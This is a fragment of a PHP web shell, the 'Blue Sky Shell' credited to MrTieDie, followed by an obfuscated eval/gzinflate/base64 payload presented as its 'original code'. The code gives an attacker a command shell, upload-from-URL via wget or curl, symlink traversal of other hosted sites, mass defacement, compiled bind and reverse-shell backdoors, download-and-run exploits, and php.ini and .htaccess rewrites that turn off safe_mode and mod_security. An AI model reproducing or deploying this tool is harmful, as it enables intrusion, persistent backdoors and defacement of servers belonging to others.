        <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
        </strong>
        </span>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515"  colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
    </strong>
    </td>
    <tr>
</form>
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
                                </tr>
<form method="POST" target="_blank">
        <strong>
<input name="mendapatkan" type="hidden" value="passwd">                                
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
        </strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>  
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
                                </tr>
<form method="POST" target="_blank">
        <strong>
<input name="pass" type="hidden" value="password">                                     
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
        </strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
        Security</strong></td>
                                </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
        <strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
 
?>     
        </strong>      
        </td>
                                </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
        <strong>
<form method="POST" target="_blank">
        <strong>
<input name="matikan" type="hidden" value="sekatan">                                   
    </strong>
 
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#FF9900>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
    </strong>
    </td></tr>';
}
?></strong></td></tr></table></table></table>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{      
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">
 
<?php  
 
@set_time_limit(0);
 
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
 
@mkdir('sym',0777);
$htaccess  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#4C83AF' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name   = $string[1][0];
$iran   = '\.ir';
$israel = '\.il';
$indo   = '\.id';
$sg12   = '\.sg';
$edu    = '\.edu';
$gov    = '\.gov';
$gose   = '\.go';
$gober  = '\.gob';
$mil1   = '\.mil';
$mil2   = '\.mi';
$malay  = '\.my';
$china  = '\.cn';
$japan  = '\.jp';
$austr  = '\.au';
$porn   = '\.xxx';
$as             = '\.uk';
$calfn  = '\.ca';
 
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
 
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
 
<td>
'.$UID['name']."
</td>
 
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
 
</tr></div> ";
flush();
}
}
}
}
 
echo "</center></table>";  
 
}
 
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{      
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">
 
<?php
 
echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
 
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
 
                echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
                }
        echo "</table>";
        }
 
echo '</div>';
?>
<?php
} 
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
        <center><br><br>Blue Sky Shell
    <br><br><br>Thanks to My Team : JokerTeamChild<br>Created by MrTieDie<br>Tuesday, December 17, 2013<br>Contact Me To :<br>[email protected]<br>Facebook.com/MrTieDie<br>http://www.irfansyahputra.com<br>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
        if(is_uploaded_file($_FILES['file']['tmp_name'])){
                $path = magicboom($_POST['path']);
                $fname = $_FILES['file']['name'];
                $tmp_name = $_FILES['file']['tmp_name'];
                $pindah = $path.$fname;
                $stat = @move_uploaded_file($tmp_name,$pindah);        
                if ($stat) {
                        $msg = "file uploaded to $pindah";
                }
                else $msg = "failed to upload $fname";
        }
        else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
        $pilihan = trim($_POST['pilihan']);
        $wurl = trim($_POST['wurl']);
        $path = magicboom($_POST['path']);
        $namafile = download($pilihan,$wurl);
        $pindah = $path.$namafile;
        if(is_file($pindah)) {
                $msg = "file uploaded to $pindah";
        }
        else $msg = "failed to upload $namafile";
 
}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
///////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#FF9900>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);
$deface=
'Hacked by MrTieDie | Baddream48gmail.com';
?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="mrtiedie.php"></td>
</tr>
<tr>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>
<?php
echo $deface;
?>
</textarea><br>
<center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>

<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}

 
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){ 

// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
	$port = trim($_POST['port']);
	$passwrd = trim($_POST['bind_pass']);
	tulis("bdc.c",$port_bind_bd_c);
 	exe("gcc -o bdc bdc.c");
 	exe("chmod 777 bdc");
 	@unlink("bdc.c");
 	exe("./bdc ".$port." ".$passwrd." &");
 	$scan = exe("ps aux"); 
	if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg =  "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
	$port = trim($_POST['port']);
	$passwrd = trim($_POST['bind_pass']);
	tulis("bdp",$port_bind_bd_pl);
	exe("chmod 777 bdp");
 	$p2=which("perl");
 	exe($p2." bdp ".$port." &");
 	$scan = exe("ps aux"); 
	if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
	$ip = trim($_POST['ip']);
	$port = trim($_POST['backport']);
	tulis("bcc.c",$back_connect_c);
 	exe("gcc -o bcc bcc.c");
 	exe("chmod 777 bcc");
 	@unlink("bcc.c");
	exe("./bcc ".$ip." ".$port." &");
	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
	$ip = trim($_POST['ip']);
	$port = trim($_POST['backport']);
	tulis("bcp",$back_connect);
	exe("chmod +x bcp");
	$p2=which("perl");
 	exe($p2." bcp ".$ip." ".$port." &");
 	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
	$pilihan = trim($_POST['pilihan']);
	$wurl = trim($_POST['wurl']);
	$namafile = download($pilihan,$wurl);
	if(is_file($namafile)) {
	
	$msg = exe($wcmd);
	}
	else $msg = "error: file not found $namafile";
}

?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){  ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
	echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Kill Me!" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php } 
else { 
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
	$file = $_GET['delete'];
	@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
	@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
	$path = $pwd.$_GET['mkdir'];
	@mkdir($path);
}
	$buff = showdir($pwd,$prompt);
	echo $buff;
}
?> 
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
        {
 
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
 
                }
 
?>
<center>
<?php
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
    else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>
</center><center><br><br><div class="info"> <b></b>  </div><br>
<div class="jaya">MrTieDie Priv8 Shell || &copy; 2013 MrTieDie</div></center><br><br>
</script>
</div>
</body>
</html>

Did this file decode correctly?

Original Code

<?php
{
eval(gzinflate(str_rot13(base64_decode('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